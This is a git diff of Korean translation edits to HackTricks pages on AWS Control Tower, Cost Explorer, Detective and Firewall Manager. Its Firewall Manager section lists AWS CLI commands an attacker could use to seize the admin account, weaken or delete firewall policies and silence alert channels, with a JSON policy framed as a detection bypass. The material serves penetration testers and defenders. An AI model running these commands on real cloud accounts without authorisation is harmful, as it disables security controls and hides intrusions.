삭제되지 않습니다. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index dd7f08fc3..b7e24c7ba 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -5,7 +5,7 @@ ## Control Tower > [!NOTE] -> 요약하자면, Control Tower는 조직 내 모든 계정에 대한 정책을 정의할 수 있는 서비스입니다. 따라서 각 계정을 관리하는 대신 Control Tower에서 적용할 정책을 설정할 수 있습니다. +> 요약하자면, Control Tower는 조직 내 모든 계정에 대한 정책을 정의할 수 있는 서비스입니다. 따라서 각 계정을 관리하는 대신 Control Tower에서 설정한 정책이 적용됩니다. AWS Control Tower는 **Amazon Web Services (AWS)**에서 제공하는 서비스로, 조직이 AWS에서 안전하고 규정을 준수하는 다중 계정 환경을 설정하고 관리할 수 있도록 합니다. @@ -15,11 +15,11 @@ AWS Control Tower를 사용하면 관리자는 **보안** 및 규정 준수와 또한, AWS Control Tower는 조직 요구 사항을 준수하는 환경을 보장하는 사전 구성된 정책 세트인 가드레일을 제공합니다. 이러한 정책은 특정 요구 사항에 맞게 사용자 정의할 수 있습니다. -전반적으로 AWS Control Tower는 AWS에서 안전하고 규정을 준수하는 다중 계정 환경을 설정하고 관리하는 과정을 간소화하여 조직이 핵심 비즈니스 목표에 집중할 수 있도록 합니다. +전반적으로 AWS Control Tower는 AWS에서 안전하고 규정을 준수하는 다중 계정 환경을 설정하고 관리하는 과정을 단순화하여 조직이 핵심 비즈니스 목표에 집중할 수 있도록 합니다. ### Enumeration -Control Tower 제어를 열거하려면 먼저 **조직을 열거해야 합니다**: +controltower 제어를 열거하려면 먼저 **조직을 열거해야 합니다**: {{#ref}} ../aws-organizations-enum.md @@ -29,9 +29,9 @@ Control Tower 제어를 열거하려면 먼저 **조직을 열거해야 합니 aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` > [!WARNING] -> Control Tower는 **Account factory**를 사용하여 **계정에서 CloudFormation 템플릿**을 실행하고 해당 계정에서 **서비스를 실행**할 수 있습니다 (privesc, post-exploitation...) +> Control Tower는 **Account factory**를 사용하여 **계정에서 CloudFormation 템플릿**을 실행하고 해당 계정에서 **서비스**(권한 상승, 포스트 익스플로잇...)를 실행할 수 있습니다. -### Post Exploitation & Persistence +### 포스트 익스플로잇 및 지속성 {{#ref}} ../../aws-post-exploitation/aws-control-tower-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 20018f159..df14fcdb5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -4,12 +4,12 @@ ## Cost Explorer 및 이상 탐지 -이 기능을 통해 **AWS 서비스에서 돈을 어떻게 지출하고 있는지** 확인하고 **이상을 탐지하는 데 도움을 줍니다**.\ -또한, AWS가 **비용에서 이상이 발견되었을 때 경고하도록 이상 탐지를 구성할 수 있습니다**. +이 기능은 **AWS 서비스에서 돈을 어떻게 지출하고 있는지 확인**할 수 있게 해주며, **이상 탐지**를 도와줍니다.\ +또한, AWS가 **비용에서 이상이 발견되었을 때 경고**하도록 이상 탐지를 구성할 수 있습니다. ### 예산 -예산은 **비용 및 사용량을 관리하는 데 도움을 줍니다**. **임계값에 도달했을 때 경고를 받을 수 있습니다**.\ -또한, 특정 S3 버킷에서 사용된 GB 수와 같은 서비스 사용량과 같은 비용과 관련 없는 모니터링에도 사용할 수 있습니다. +예산은 **비용 및 사용량 관리**에 도움을 줍니다. **임계값에 도달했을 때 경고**를 받을 수 있습니다.\ +또한, 특정 S3 버킷에서 사용된 GB 수와 같은 비용과 관련 없는 모니터링에도 사용할 수 있습니다. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 8b98863da..a1287c06b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective**는 보안 조사 프로세스를 간소화하여 **보안 문제 또는 비정상적인 활동의 근본 원인을 분석, 조사 및 파악**하는 데 더 효율적입니다. 이 서비스는 AWS 리소스에서 로그 데이터를 자동으로 수집하고 **기계 학습, 통계 분석 및 그래프 이론**을 사용하여 상호 연결된 데이터 세트를 구성합니다. 이 설정은 보안 조사 속도와 효율성을 크게 향상시킵니다. +**Amazon Detective**는 보안 조사 프로세스를 간소화하여 **보안 문제 또는 비정상적인 활동의 근본 원인을 분석, 조사 및 파악**하는 과정을 더 효율적으로 만듭니다. AWS 리소스에서 로그 데이터를 자동으로 수집하고 **기계 학습, 통계 분석 및 그래프 이론**을 사용하여 상호 연결된 데이터 세트를 구성합니다. 이 설정은 보안 조사 속도와 효율성을 크게 향상시킵니다. -이 서비스는 보안 사건에 대한 심층 탐색을 용이하게 하여 보안 팀이 문제의 근본 원인을 신속하게 이해하고 해결할 수 있도록 합니다. Amazon Detective는 VPC 흐름 로그, AWS CloudTrail 및 Amazon GuardDuty와 같은 출처에서 방대한 양의 데이터를 분석합니다. 이 서비스는 **시간에 따른 리소스, 사용자 및 그 상호작용에 대한 포괄적이고 상호작용적인 뷰를 자동으로 생성**합니다. 이 통합된 관점은 모든 필요한 세부정보와 맥락을 한 곳에서 제공하여 팀이 보안 발견의 이유를 파악하고, 관련된 과거 활동을 조사하며, 신속하게 근본 원인을 결정할 수 있도록 합니다. +이 서비스는 보안 사건에 대한 심층 탐색을 용이하게 하여 보안 팀이 문제의 근본 원인을 신속하게 이해하고 해결할 수 있도록 합니다. Amazon Detective는 VPC Flow Logs, AWS CloudTrail 및 Amazon GuardDuty와 같은 출처에서 방대한 양의 데이터를 분석합니다. 자동으로 **리소스, 사용자 및 그들의 상호작용에 대한 포괄적이고 상호작용적인 뷰를 생성**합니다. 이 통합된 관점은 모든 필요한 세부정보와 맥락을 한 곳에서 제공하여 팀이 보안 발견의 이유를 파악하고, 관련된 과거 활동을 조사하며, 신속하게 근본 원인을 결정할 수 있도록 합니다. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 779755494..6ab0b36ee 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,16 +4,16 @@ ## Firewall Manager -**AWS Firewall Manager**는 **AWS WAF, AWS Shield Advanced, Amazon VPC 보안 그룹 및 네트워크 액세스 제어 목록(ACL), AWS 네트워크 방화벽, AWS Route 53 Resolver DNS 방화벽 및 타사 방화벽**의 관리 및 유지 관리를 간소화합니다. 이 서비스는 방화벽 규칙, Shield Advanced 보호, VPC 보안 그룹 및 네트워크 방화벽 설정을 한 번만 구성할 수 있게 하며, **이 규칙과 보호를 계정 및 리소스 전반에 자동으로 적용**합니다. 새로 추가된 리소스도 포함됩니다. +**AWS Firewall Manager**는 **AWS WAF, AWS Shield Advanced, Amazon VPC 보안 그룹 및 네트워크 액세스 제어 목록(ACL), AWS 네트워크 방화벽, AWS Route 53 Resolver DNS 방화벽 및 타사 방화벽**의 관리 및 유지 관리를 간소화합니다. 이 서비스는 방화벽 규칙, Shield Advanced 보호, VPC 보안 그룹 및 네트워크 방화벽 설정을 한 번만 구성할 수 있게 하며, **서비스가 이러한 규칙과 보호를 귀하의 계정과 리소스 전반에 자동으로 적용**합니다. 새로 추가된 리소스도 포함됩니다. 이 서비스는 **특정 리소스를 함께 그룹화하고 보호**할 수 있는 기능을 제공합니다. 예를 들어, 공통 태그를 공유하는 리소스나 모든 CloudFront 배포를 그룹화할 수 있습니다. Firewall Manager의 주요 장점 중 하나는 **새로 추가된 리소스에 대한 보호를 자동으로 확장**할 수 있다는 점입니다. **규칙 그룹**(WAF 규칙의 모음)은 AWS Firewall Manager 정책에 통합될 수 있으며, 이는 CloudFront 배포 또는 애플리케이션 로드 밸런서와 같은 특정 AWS 리소스에 연결됩니다. -AWS Firewall Manager는 보안 그룹 정책의 구성 및 관리를 단순화하기 위해 **관리형 애플리케이션 및 프로토콜 목록**을 제공합니다. 이러한 목록을 통해 정책에서 허용되거나 거부되는 프로토콜 및 애플리케이션을 정의할 수 있습니다. 관리형 목록에는 두 가지 유형이 있습니다: +AWS Firewall Manager는 보안 그룹 정책의 구성 및 관리를 단순화하기 위해 **관리되는 애플리케이션 및 프로토콜 목록**을 제공합니다. 이러한 목록을 통해 정책에 의해 허용되거나 거부되는 프로토콜 및 애플리케이션을 정의할 수 있습니다. 관리되는 목록에는 두 가지 유형이 있습니다: -- **Firewall Manager 관리 목록**: 이 목록에는 **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** 및 **FMS-Default-Protocols-Allowed**가 포함됩니다. 이 목록은 Firewall Manager에 의해 관리되며 일반 대중에게 허용되거나 거부되어야 하는 일반적으로 사용되는 애플리케이션 및 프로토콜을 포함합니다. 이 목록은 편집하거나 삭제할 수 없지만, 버전을 선택할 수 있습니다. -- **사용자 정의 관리 목록**: 이 목록은 사용자가 직접 관리합니다. 조직의 필요에 맞춘 사용자 정의 애플리케이션 및 프로토콜 목록을 생성할 수 있습니다. Firewall Manager 관리 목록과 달리 이 목록은 버전이 없지만, 사용자 정의 목록에 대해 완전한 제어가 가능하여 필요에 따라 생성, 편집 및 삭제할 수 있습니다. +- **Firewall Manager 관리 목록**: 이 목록에는 **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** 및 **FMS-Default-Protocols-Allowed**가 포함됩니다. 이 목록은 Firewall Manager에 의해 관리되며, 일반 대중에게 허용되거나 거부되어야 하는 일반적으로 사용되는 애플리케이션 및 프로토콜을 포함합니다. 이 목록은 편집하거나 삭제할 수 없지만, 버전을 선택할 수 있습니다. +- **사용자 정의 관리 목록**: 이 목록은 사용자가 직접 관리합니다. 조직의 필요에 맞춘 사용자 정의 애플리케이션 및 프로토콜 목록을 생성할 수 있습니다. Firewall Manager 관리 목록과 달리, 이러한 목록은 버전이 없지만, 사용자 정의 목록에 대해 완전한 제어를 제공하여 필요에 따라 생성, 편집 및 삭제할 수 있습니다. **Firewall Manager 정책은 규칙 그룹에 대해 "차단" 또는 "계산" 작업만 허용**하며 "허용" 옵션은 없습니다. @@ -21,48 +21,48 @@ AWS Firewall Manager는 보안 그룹 정책의 구성 및 관리를 단순화 Firewall Manager를 구성하여 조직의 리소스를 효과적으로 보호하기 위해서는 다음의 필수 단계를 완료해야 합니다. 이러한 단계는 Firewall Manager가 보안 정책을 시행하고 AWS 환경 전반에 걸쳐 준수를 보장하는 데 필요한 기본 설정을 제공합니다: -1. **AWS Organizations에 가입하고 구성**: AWS Firewall Manager 정책이 구현될 AWS Organizations 조직의 일부인지 확인합니다. 이를 통해 조직 내 여러 AWS 계정에 걸쳐 리소스 및 정책을 중앙 집중식으로 관리할 수 있습니다. -2. **AWS Firewall Manager 기본 관리자 계정 생성**: Firewall Manager 보안 정책을 관리하기 위해 특별히 기본 관리자 계정을 설정합니다. 이 계정은 조직 전반에 걸쳐 보안 정책을 구성하고 시행하는 책임을 집니다. 조직의 관리 계정만이 Firewall Manager 기본 관리자 계정을 생성할 수 있습니다. +1. **AWS Organizations에 가입하고 구성**: AWS 계정이 AWS Firewall Manager 정책이 구현될 AWS Organizations 조직의 일부인지 확인합니다. 이를 통해 조직 내 여러 AWS 계정에 걸쳐 리소스 및 정책을 중앙 집중식으로 관리할 수 있습니다. +2. **AWS Firewall Manager 기본 관리자 계정 생성**: Firewall Manager 보안 정책 관리를 위해 특별히 기본 관리자 계정을 설정합니다. 이 계정은 조직 전반에 걸쳐 보안 정책을 구성하고 시행하는 책임을 집니다. 조직의 관리 계정만이 Firewall Manager 기본 관리자 계정을 생성할 수 있습니다. 3. **AWS Config 활성화**: AWS Config를 활성화하여 Firewall Manager에 보안 정책을 효과적으로 시행하는 데 필요한 구성 데이터 및 통찰력을 제공합니다. AWS Config는 리소스 구성 및 변경 사항을 분석, 감사, 모니터링하고 감사하는 데 도움을 주어 보안 관리를 개선합니다. -4. **타사 정책의 경우 AWS Marketplace에서 구독하고 타사 설정 구성**: 타사 방화벽 정책을 사용할 계획이라면 AWS Marketplace에서 구독하고 필요한 설정을 구성합니다. 이 단계는 Firewall Manager가 신뢰할 수 있는 타사 공급업체의 정책을 통합하고 시행할 수 있도록 보장합니다. -5. **네트워크 방화벽 및 DNS 방화벽 정책의 경우 리소스 공유 활성화**: 네트워크 방화벽 및 DNS 방화벽 정책에 대해 리소스 공유를 활성화합니다. 이를 통해 Firewall Manager가 조직의 VPC 및 DNS 해석에 방화벽 보호를 적용할 수 있어 네트워크 보안을 강화합니다. -6. **기본적으로 비활성화된 리전에서 AWS Firewall Manager 사용**: 기본적으로 비활성화된 AWS 리전에서 Firewall Manager를 사용하려는 경우 해당 리전에서 기능을 활성화하기 위한 필요한 단계를 수행해야 합니다. 이를 통해 조직이 운영하는 모든 리전에서 일관된 보안 시행을 보장합니다. +4. **타사 정책의 경우, AWS Marketplace에서 구독하고 타사 설정 구성**: 타사 방화벽 정책을 사용할 계획이라면, AWS Marketplace에서 구독하고 필요한 설정을 구성합니다. 이 단계는 Firewall Manager가 신뢰할 수 있는 타사 공급업체의 정책을 통합하고 시행할 수 있도록 보장합니다. +5. **네트워크 방화벽 및 DNS 방화벽 정책의 경우, 리소스 공유 활성화**: 네트워크 방화벽 및 DNS 방화벽 정책에 대해 리소스 공유를 활성화합니다. 이를 통해 Firewall Manager가 조직의 VPC 및 DNS 해석에 방화벽 보호를 적용할 수 있어 네트워크 보안을 강화합니다. +6. **기본적으로 비활성화된 지역에서 AWS Firewall Manager 사용**: 기본적으로 비활성화된 AWS 지역에서 Firewall Manager를 사용하려는 경우, 해당 지역에서 기능을 활성화하기 위한 필요한 단계를 수행해야 합니다. 이를 통해 조직이 운영하는 모든 지역에서 일관된 보안 시행을 보장합니다. -자세한 내용은 다음을 확인하세요: [AWS Firewall Manager AWS WAF 정책 시작하기](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). +자세한 내용은 다음을 확인하십시오: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). ### Types of protection policies -AWS Firewall Manager는 조직의 인프라의 다양한 측면에서 보안 통제를 시행하기 위해 여러 유형의 정책을 관리합니다: +AWS Firewall Manager는 조직의 인프라의 다양한 측면에 걸쳐 보안 통제를 시행하기 위해 여러 유형의 정책을 관리합니다: -1. **AWS WAF 정책**: 이 정책 유형은 AWS WAF 및 AWS WAF Classic을 모두 지원합니다. 정책에 의해 보호되는 리소스를 정의할 수 있습니다. AWS WAF 정책의 경우 웹 ACL에서 먼저 실행할 규칙 그룹 세트와 마지막에 실행할 규칙 그룹 세트를 지정할 수 있습니다. 또한 계정 소유자는 이러한 세트 사이에서 실행할 규칙 및 규칙 그룹을 추가할 수 있습니다. -2. **Shield Advanced 정책**: 이 정책은 지정된 리소스 유형에 대해 조직 전반에 Shield Advanced 보호를 적용합니다. DDoS 공격 및 기타 위협으로부터 보호하는 데 도움을 줍니다. -3. **Amazon VPC 보안 그룹 정책**: 이 정책을 통해 조직 전반에서 사용되는 보안 그룹을 관리하고 AWS 환경 전반에 걸쳐 네트워크 액세스를 제어하기 위해 기본 규칙 세트를 시행할 수 있습니다. +1. **AWS WAF 정책**: 이 정책 유형은 AWS WAF 및 AWS WAF Classic을 모두 지원합니다. 정책에 의해 보호되는 리소스를 정의할 수 있습니다. AWS WAF 정책의 경우, 웹 ACL에서 먼저 실행할 규칙 그룹 세트와 마지막에 실행할 규칙 그룹 세트를 지정할 수 있습니다. 또한, 계정 소유자는 이러한 세트 사이에서 실행할 규칙 및 규칙 그룹을 추가할 수 있습니다. +2. **Shield Advanced 정책**: 이 정책은 지정된 리소스 유형에 대해 조직 전반에 걸쳐 Shield Advanced 보호를 적용합니다. DDoS 공격 및 기타 위협으로부터 보호하는 데 도움을 줍니다. +3. **Amazon VPC 보안 그룹 정책**: 이 정책을 통해 조직 전반에 걸쳐 사용되는 보안 그룹을 관리하고, AWS 환경 전반에 걸쳐 네트워크 액세스를 제어하기 위해 기본 규칙 세트를 시행할 수 있습니다. 4. **Amazon VPC 네트워크 액세스 제어 목록(ACL) 정책**: 이 정책 유형은 조직에서 사용되는 네트워크 ACL을 제어할 수 있게 하여 AWS 환경 전반에 걸쳐 기본 네트워크 ACL 세트를 시행할 수 있습니다. 5. **네트워크 방화벽 정책**: 이 정책은 조직의 VPC에 AWS 네트워크 방화벽 보호를 적용하여 미리 정의된 규칙에 따라 트래픽을 필터링하여 네트워크 보안을 강화합니다. -6. **Amazon Route 53 Resolver DNS 방화벽 정책**: 이 정책은 조직의 VPC에 DNS 방화벽 보호를 적용하여 악의적인 도메인 해석 시도를 차단하고 DNS 트래픽에 대한 보안 정책을 시행하는 데 도움을 줍니다. +6. **Amazon Route 53 Resolver DNS 방화벽 정책**: 이 정책은 조직의 VPC에 DNS 방화벽 보호를 적용하여 악성 도메인 해석 시도를 차단하고 DNS 트래픽에 대한 보안 정책을 시행하는 데 도움을 줍니다. 7. **타사 방화벽 정책**: 이 정책 유형은 AWS Marketplace 콘솔을 통해 구독 가능한 타사 방화벽의 보호를 적용합니다. 이를 통해 신뢰할 수 있는 공급업체의 추가 보안 조치를 AWS 환경에 통합할 수 있습니다. -1. **Palo Alto Networks Cloud NGFW 정책**: 이 정책은 Palo Alto Networks Cloud 차세대 방화벽(NGFW) 보호 및 규칙 스택을 조직의 VPC에 적용하여 고급 위협 방지 및 애플리케이션 수준 보안 통제를 제공합니다. +1. **Palo Alto Networks Cloud NGFW 정책**: 이 정책은 조직의 VPC에 Palo Alto Networks Cloud 차세대 방화벽(NGFW) 보호 및 규칙 스택을 적용하여 고급 위협 방지 및 애플리케이션 수준 보안 통제를 제공합니다. 2. **Fortigate Cloud Native Firewall (CNF) as a Service 정책**: 이 정책은 Fortigate Cloud Native Firewall (CNF) as a Service 보호를 적용하여 클라우드 인프라에 맞춘 업계 최고의 위협 방지, 웹 애플리케이션 방화벽(WAF) 및 API 보호를 제공합니다. ### Administrator accounts AWS Firewall Manager는 관리 범위와 두 가지 유형의 관리자 계정을 통해 조직 내 방화벽 리소스를 관리하는 유연성을 제공합니다. -**관리 범위는 Firewall Manager 관리자가 관리할 수 있는 리소스를 정의합니다**. AWS Organizations 관리 계정이 조직을 Firewall Manager에 온보딩한 후, 다양한 관리 범위를 가진 추가 관리자를 생성할 수 있습니다. 이러한 범위에는 다음이 포함될 수 있습니다: +**관리 범위는 Firewall Manager 관리자가 관리할 수 있는 리소스를 정의합니다**. AWS Organizations 관리 계정이 조직을 Firewall Manager에 온보딩한 후, 추가 관리자를 생성할 수 있으며, 이들은 서로 다른 관리 범위를 가질 수 있습니다. 이러한 범위에는 다음이 포함될 수 있습니다: - 관리자가 정책을 적용할 수 있는 계정 또는 조직 단위(OU). -- 관리자가 작업을 수행할 수 있는 리전. +- 관리자가 작업을 수행할 수 있는 지역. - 관리자가 관리할 수 있는 Firewall Manager 정책 유형. -관리 범위는 **전체 또는 제한적**일 수 있습니다. 전체 범위는 관리자가 **모든 지정된 리소스 유형, 리전 및 정책 유형**에 접근할 수 있도록 합니다. 반면, **제한적 범위는 리소스, 리전 또는 정책 유형의 하위 집합에 대해서만 관리 권한을 제공합니다**. 관리자가 역할을 효과적으로 수행하는 데 필요한 권한만 부여하는 것이 좋습니다. 이러한 관리 범위 조건의 조합을 관리자에게 적용하여 최소 권한 원칙을 준수할 수 있습니다. +관리 범위는 **전체 또는 제한적**일 수 있습니다. 전체 범위는 관리자가 **모든 지정된 리소스 유형, 지역 및 정책 유형**에 접근할 수 있도록 합니다. 반면, **제한된 범위는 리소스, 지역 또는 정책 유형의 하위 집합에 대해서만 관리 권한을 제공합니다**. 관리자가 역할을 효과적으로 수행하는 데 필요한 권한만 부여하는 것이 좋습니다. 이러한 관리 범위 조건의 조합을 관리자에게 적용하여 최소 권한 원칙을 준수할 수 있습니다. 두 가지 유형의 관리자 계정이 있으며, 각각 특정 역할과 책임을 수행합니다: - **기본 관리자:** -- 기본 관리자 계정은 AWS Organizations 조직의 관리 계정에 의해 Firewall Manager 온보딩 과정에서 생성됩니다. +- 기본 관리자 계정은 AWS Organizations 조직의 관리 계정이 Firewall Manager에 온보딩하는 과정에서 생성됩니다. - 이 계정은 타사 방화벽을 관리할 수 있는 능력을 가지며 전체 관리 범위를 가집니다. - 조직 전반에 걸쳐 보안 정책을 구성하고 시행하는 책임을 지는 Firewall Manager의 주요 관리자 계정입니다. -- 기본 관리자는 모든 리소스 유형 및 관리 기능에 대한 전체 접근 권한을 가지지만, 조직 내에서 여러 관리자가 사용되는 경우 다른 관리자와 동일한 동등한 수준에서 운영됩니다. +- 기본 관리자는 모든 리소스 유형 및 관리 기능에 대한 전체 접근 권한을 가지지만, 조직 내에서 여러 관리자가 사용되는 경우 다른 관리자와 동등한 수준에서 운영됩니다. - **Firewall Manager 관리자:** - 이러한 관리자는 AWS Organizations 관리 계정에 의해 정의된 관리 범위 내에서 리소스를 관리할 수 있습니다. - Firewall Manager 관리자는 조직 내에서 특정 역할을 수행하기 위해 생성되어 책임을 위임하면서 보안 및 준수 기준을 유지합니다. @@ -73,8 +73,8 @@ AWS Firewall Manager는 관리 범위와 두 가지 유형의 관리자 계정 **조직 내에서 Firewall Manager 기본 관리자 역할을 수행할 수 있는 계정은 하나만 존재할 수 있다는 점을 강조하는 것이 중요합니다.** 이는 "**먼저 들어온 것이 나중에 나간다**"는 원칙을 준수합니다. 새로운 기본 관리자를 지정하기 위해서는 일련의 단계를 따라야 합니다: - 먼저, 각 Firewall Administrator 관리자 계정은 자신의 계정을 철회해야 합니다. -- 그런 다음, 기존 기본 관리자는 자신의 계정을 철회하여 조직을 Firewall Manager에서 효과적으로 오프보딩합니다. 이 과정은 철회된 계정이 생성한 모든 Firewall Manager 정책을 삭제하는 결과를 초래합니다. -- 마지막으로, AWS Organizations 관리 계정이 Firewall Manager 기본 관리자를 지정해야 합니다. +- 그런 다음, 기존 기본 관리자는 자신의 계정을 철회하여 조직을 Firewall Manager에서 효과적으로 오프보딩합니다. 이 과정은 철회된 계정에 의해 생성된 모든 Firewall Manager 정책의 삭제로 이어집니다. +- 마지막으로, AWS Organizations 관리 계정은 Firewall Manager 기본 관리자를 지정해야 합니다. ## Enumeration ``` @@ -161,14 +161,14 @@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` -## Post Exploitation / Bypass Detection +## 포스트 익스플로잇 / 탐지 우회 ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) -**`fms:AssociateAdminAccount`** 권한을 가진 공격자는 Firewall Manager 기본 관리자 계정을 설정할 수 있습니다. **`fms:PutAdminAccount`** 권한을 가진 공격자는 Firewall Manager 관리자 계정을 생성하거나 업데이트할 수 있으며, **`fms:DisassociateAdminAccount`** 권한을 가진 잠재적 공격자는 현재 Firewall Manager 관리자 계정 연결을 제거할 수 있습니다. +**`fms:AssociateAdminAccount`** 권한을 가진 공격자는 Firewall Manager 기본 관리자 계정을 설정할 수 있습니다. **`fms:PutAdminAccount`** 권한을 가진 공격자는 Firewall Manager 관리자 계정을 생성하거나 업데이트할 수 있으며, **`fms:DisassociateAdminAccount`** 권한을 가진 잠재적 공격자는 현재 Firewall Manager 관리자 계정의 연결을 제거할 수 있습니다. - **Firewall Manager 기본 관리자와의 연결 해제는 선입후출 정책을 따릅니다**. 모든 Firewall Manager 관리자는 Firewall Manager 기본 관리자가 계정을 해제하기 전에 연결을 해제해야 합니다. -- **PutAdminAccount**를 통해 Firewall Manager 관리자를 생성하려면, 계정은 이전에 **AssociateAdminAccount**를 사용하여 Firewall Manager에 온보딩된 조직에 속해야 합니다. +- **PutAdminAccount**를 통해 Firewall Manager 관리자를 생성하려면, 해당 계정은 이전에 **AssociateAdminAccount**를 사용하여 Firewall Manager에 온보딩된 조직에 속해야 합니다. - Firewall Manager 관리자 계정의 생성은 조직의 관리 계정만 수행할 수 있습니다. ```bash aws fms associate-admin-account --admin-account @@ -184,7 +184,7 @@ aws fms put-admin-account --admin-account aws fms put-policy --policy | --cli-input-json file:// [--tag-list ] aws fms delete-policy --policy-id [--delete-all-policy-resources | --no-delete-all-policy-resources] ``` -허용된 보안 그룹을 통한 허용 정책의 예로, 탐지를 우회하기 위한 것은 다음과 같을 수 있습니다: +탐지를 우회하기 위한 허용 정책의 예로는 다음과 같은 허용 보안 그룹이 있을 수 있습니다: ```json { "Policy": { @@ -208,7 +208,7 @@ aws fms delete-policy --policy-id [--delete-all-policy-resources | --no- "TagList": [] } ``` -**잠재적 영향:** 보안 통제 해체, 정책 회피, 준수 위반, 운영 중단 및 환경 내 잠재적 데이터 유출. +**잠재적 영향:** 보안 통제 해체, 정책 회피, 준수 위반, 운영 중단 및 환경 내 데이터 유출 가능성. ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` @@ -222,16 +222,16 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` -**잠재적 영향:** 리소스 세트에 불필요한 항목을 추가하면 서비스의 노이즈 수준이 증가하여 DoS를 유발할 수 있습니다. 또한, 리소스 세트의 변경은 리소스 중단, 정책 회피, 규정 준수 위반 및 환경 내 보안 통제의 중단으로 이어질 수 있습니다. +**잠재적 영향:** 리소스 세트에 불필요한 항목을 추가하면 서비스의 노이즈 수준이 증가하여 DoS를 유발할 수 있습니다. 또한 리소스 세트의 변경은 리소스 중단, 정책 회피, 규정 준수 위반 및 환경 내 보안 통제의 중단으로 이어질 수 있습니다. ### `fms:PutAppsList`, `fms:DeleteAppsList` -**`fms:PutAppsList`** 및 **`fms:DeleteAppsList`** 권한을 가진 공격자는 AWS Firewall Manager에서 애플리케이션 목록을 생성, 수정 또는 삭제할 수 있습니다. 이는 무단 애플리케이션이 일반 대중에게 접근을 허용받거나, 승인된 애플리케이션에 대한 접근이 거부되어 DoS를 유발할 수 있기 때문에 중요할 수 있습니다. +**`fms:PutAppsList`** 및 **`fms:DeleteAppsList`** 권한을 가진 공격자는 AWS Firewall Manager에서 애플리케이션 목록을 생성, 수정 또는 삭제할 수 있습니다. 이는 무단 애플리케이션이 일반 대중에게 접근할 수 있도록 허용되거나, 승인된 애플리케이션에 대한 접근이 거부되어 DoS를 유발할 수 있으므로 중요할 수 있습니다. ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id ``` -**잠재적 영향:** 이는 잘못된 구성, 정책 회피, 준수 위반 및 환경 내 보안 제어의 중단을 초래할 수 있습니다. +**잠재적 영향:** 이는 잘못된 구성, 정책 회피, 준수 위반 및 환경 내 보안 통제의 중단을 초래할 수 있습니다. ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` @@ -240,7 +240,7 @@ aws fms delete-apps-list --list-id aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id ``` -**잠재적 영향:** 이는 잘못된 구성, 정책 회피, 준수 위반 및 환경 내 보안 제어의 중단을 초래할 수 있습니다. +**잠재적 영향:** 이는 잘못된 구성, 정책 회피, 규정 준수 위반 및 환경 내 보안 통제의 중단을 초래할 수 있습니다. ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` @@ -257,7 +257,7 @@ SNS 액세스 정책 구성에 대한 정보는 다음을 참조하십시오: aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` -**잠재적 영향:** 이는 보안 경고 누락, 지연된 사고 대응, 잠재적인 데이터 유출 및 환경 내 운영 중단으로 이어질 수 있습니다. +**잠재적 영향:** 이는 보안 경고를 놓치거나, 사건 대응이 지연되거나, 데이터 유출 및 환경 내 운영 중단으로 이어질 수 있습니다. ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` @@ -273,7 +273,7 @@ aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETW ### `fms:TagResource`, `fms:UntagResource` -공격자는 Firewall Manager 리소스에서 태그를 추가, 수정 또는 제거할 수 있어, 귀 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다. +공격자는 Firewall Manager 리소스에서 태그를 추가, 수정 또는 제거할 수 있어, 태그를 기반으로 한 조직의 비용 할당, 리소스 추적 및 접근 제어 정책을 방해할 수 있습니다. ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index a1806d444..1ad57a138 100644 